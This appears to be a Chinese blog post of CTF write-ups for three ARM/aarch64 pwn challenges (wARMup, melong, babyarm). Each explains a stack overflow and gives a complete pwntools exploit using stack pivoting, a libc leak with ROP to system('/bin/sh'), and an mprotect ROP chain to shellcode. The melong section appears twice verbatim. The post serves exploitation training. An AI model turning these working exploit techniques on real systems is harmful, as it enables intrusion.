ArmPwn学习

arm pwn练习

inctf2018_wARMup

程序逻辑
  1. 明显的栈溢出,但是只溢出了0x10个字节,很明显,需要栈迁移,但是在程序中,注意其调用read函数的汇编代码,如下,写如数据的缓冲区buf由R3寄存器重置,故若我们可以控制R3寄存器,则可以控制程序输入的位置,这里通过gadget(0x00010364 : pop {r3, pc})实现。
    在这里插入图片描述
  2. 注意程序的endlog,如下图,可以发现,程序的SP由R11寄存器控制,而由于栈溢出漏洞的存在,我们可以控制R11,故我们可以通过控制R11,将其指向bss,故程序执行到sub sp,R11,#4时,sp=bss-4,即可完成栈迁移,此时我们只需在bss段上布置好p32(shellcode地址)+shellcode,后续指令 pop {R11,PC}即可调转到shellcode处执行
    在这里插入图片描述
exp
from pwn import *

io = process(["qemu-arm","-L", "./", "./wARMup"])


#io=remote("node3.buuoj.cn","29829")
elf=ELF('./wARMup')
context.log_level='debug'
context.arch='arm'


offset=0x68
#0x00010364 : pop {r3, pc}
payload=b'a'*(offset-4)+p32(elf.bss())
payload+=p32(0x00010364)+p32(elf.bss())+p32(0x00010530)#gadget r3   pc


io.recvuntil('Welcome to bi0s CTF!')
io.sendline(payload)
shellcode = asm(shellcraft.sh())

io.sendline(p32(elf.bss() + 4) + shellcode)
io.interactive()

codegate2018_melong

程序逻辑

write_diary向main函数的局部变量写入数据时,没有做边界检查,且输入数据的长度是由用户决定的,当用户选择长度为-1时,存在栈溢出

exp及逻辑

1.利用栈溢出,通过puts函数泄露libc,并控制程序执行流程返回main函数
2.执行system函数

from pwn import *


remote_debug=1
remote=0
local=0
if remote_debug==1:
    io = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', '-g', '1234', './melong'])
    elf = ELF('./melong')
    log.success("enter enter to continue")
    input()
    libc=ELF('/usr/arm-linux-gnueabi/lib/libc.so.6')
elif local==1:
    io = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', './melong'])
    elf = ELF('./melong')
    libc=ELF('/usr/arm-linux-gnueabi/lib/libc.so.6')
elif remote==1:
    io=remote("node3.buuoj.cn","28610")
    libc=ELF('./lib/libc-2.30.so')

context(arch='arm',log_level='debug')

def check(height, weight):
    io.sendlineafter("number:", "1")
    io.sendlineafter(" : ", str(height))
    io.sendlineafter(" : ", str(weight))


def register():
    io.sendlineafter("number:", "3")
    io.sendlineafter(" training?\n", "-1\n")


def write_record(record):
    io.sendlineafter("number:", "4")
    io.send(record)


def log_out():
    io.sendlineafter("number:", "6")


#0x00011bbc : pop {r0, pc}
pop_r0=0x00011bbc
main=0x110CC
puts_plt=elf.plt[b'puts']
puts_got=elf.got[b'puts']
check(1,1)
register()
payload=b'a'*0x54
payload+=p32(pop_r0)
payload+=p32(puts_got)
payload+=p32(puts_plt)
payload+=p32(main)*8#0x3fed416c
write_record(payload)

#input()
log_out()

io.recvuntil("again :)\n")
libc_base=u32(io.recvn(4))-libc.sym[b'puts']
log.success("libc_base:   "+hex(libc_base))


system=libc_base+libc.sym[b'system']
binsh=libc_base+libc.search("/bin/sh").__next__()

check(1,1)
register()
payload=b'a'*0x54
payload+=p32(pop_r0)
payload+=p32(binsh)
payload+=p32(system)
write_record(payload)
log_out()
io.interactive()

exp注意点

1.注意泄露libc,并控制程序执行流程返回main时,shellcode需要将main地址*8,这里这么做的原因是程序进入puts函数时,其prolog如下图:
在这里插入图片描述
可以看到,进入puts函数后,程序在栈上保存了R4-R10以及LR总共8个寄存器的值,其endlog如下图
在这里插入图片描述

故我们在第一次布置payload的时候需要多压入7个值,以等待puts退出时填充R4~R10寄存器

codegate2018_melong

程序逻辑

write_diary向main函数的局部变量写入数据时,没有做边界检查,且输入数据的长度是由用户决定的,当用户选择长度为-1时,存在栈溢出

exp及逻辑

1.利用栈溢出,通过puts函数泄露libc,并控制程序执行流程返回main函数
2.执行system函数

from pwn import *


remote_debug=1
remote=0
local=0
if remote_debug==1:
    io = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', '-g', '1234', './melong'])
    elf = ELF('./melong')
    log.success("enter enter to continue")
    input()
    libc=ELF('/usr/arm-linux-gnueabi/lib/libc.so.6')
elif local==1:
    io = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', './melong'])
    elf = ELF('./melong')
    libc=ELF('/usr/arm-linux-gnueabi/lib/libc.so.6')
elif remote==1:
    io=remote("node3.buuoj.cn","28610")
    libc=ELF('./lib/libc-2.30.so')

context(arch='arm',log_level='debug')

def check(height, weight):
    io.sendlineafter("number:", "1")
    io.sendlineafter(" : ", str(height))
    io.sendlineafter(" : ", str(weight))


def register():
    io.sendlineafter("number:", "3")
    io.sendlineafter(" training?\n", "-1\n")


def write_record(record):
    io.sendlineafter("number:", "4")
    io.send(record)


def log_out():
    io.sendlineafter("number:", "6")


#0x00011bbc : pop {r0, pc}
pop_r0=0x00011bbc
main=0x110CC
puts_plt=elf.plt[b'puts']
puts_got=elf.got[b'puts']
check(1,1)
register()
payload=b'a'*0x54
payload+=p32(pop_r0)
payload+=p32(puts_got)
payload+=p32(puts_plt)
payload+=p32(main)*8#0x3fed416c
write_record(payload)

#input()
log_out()

io.recvuntil("again :)\n")
libc_base=u32(io.recvn(4))-libc.sym[b'puts']
log.success("libc_base:   "+hex(libc_base))


system=libc_base+libc.sym[b'system']
binsh=libc_base+libc.search("/bin/sh").__next__()

check(1,1)
register()
payload=b'a'*0x54
payload+=p32(pop_r0)
payload+=p32(binsh)
payload+=p32(system)
write_record(payload)
log_out()
io.interactive()

exp注意点

1.注意泄露libc,并控制程序执行流程返回main时,shellcode需要将main地址*8,这里这么做的原因是程序进入puts函数时,其prolog如下图:
在这里插入图片描述
可以看到,进入puts函数后,程序在栈上保存了R4-R10以及LR总共8个寄存器的值,其endlog如下图
在这里插入图片描述

故我们在第一次布置payload的时候需要多压入7个值,以等待puts退出时填充R4~R10寄存器

骇极杯_2018_babyarm

这是一道aarch64架构的题目,自己没做出来,但是看其他blog的WP,确实感觉ROP链构造的很精巧,我下面会主要对ROP链做介绍

程序逻辑

1.两次输入,第一次向bss段输入,第二次向函数栈上保存的变量输入,均存在栈溢出,故可以第一次在bss上写shellcode第二次改变程序执行流程,执行shellcode。

exp
from pwn import*

elf = ELF('./pwn')
context(arch='aarch64',log_level='debug')
#r = remote('node3.buuoj.cn',29876)
r = process(['qemu-aarch64', '-L', '/usr/aarch64-linux-gnu','./pwn'])

shellcode_addr = 0x411068
bl_mprotect = 0x4007e0
gadget1 = 0x4008cc
gadget2 = 0x04008ac
shellcode = p64(bl_mprotect)+p64(0)+asm(shellcraft.aarch64.sh())
r.recvuntil('Name:')
r.sendline(shellcode)
sleep(0.1)
payload = b'a'*0x48+p64(gadget1)+p64(0)+p64(gadget2)
payload += p64(0)*2+p64(shellcode_addr)+p64(0x7)+p64(0x1000)+p64(0x411000)
payload += p64(0)+p64(shellcode_addr+0x10)
r.sendline(payload)
r.interactive()

exp解析
  1. 两个gadget如下:
    在这里插入图片描述

  2. 0x4007e0如下,为调用mprotect函数地址,注意,执行完mprotect时,执行流依旧会执行LDP 和RET命令,exp的要点便是在当前SP+8处填写shellcode地址,从而填充X30寄存器,跳转到shellcode处执行
    在这里插入图片描述

  3. 0x4008cc用于向 X19、X20中传入0,以跳过gadget2(0x4008ac)中的CMP与BNE,向X21、X22分别传入shellcode_addr、0x7;向X23、X24分别传入0X1000、0x411000。注意!汇编采用的是pre-index,且没有“!”,故经过上述操作后,SP依旧指向第一P64(0)位置,此时LDP X29,X30,[SP],#0x40向 X29传入0,X30传入gadget2,从而程序跳转到gadget2,此时SP+0x40,指向p64(0)+p64(shellcode_addr+0x10),指令执行到BLR X3,执行mprotect函数(0x4007e0),最后经过0x4007e8处的LDP,将shellcode弹入X30,执行shellcode

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值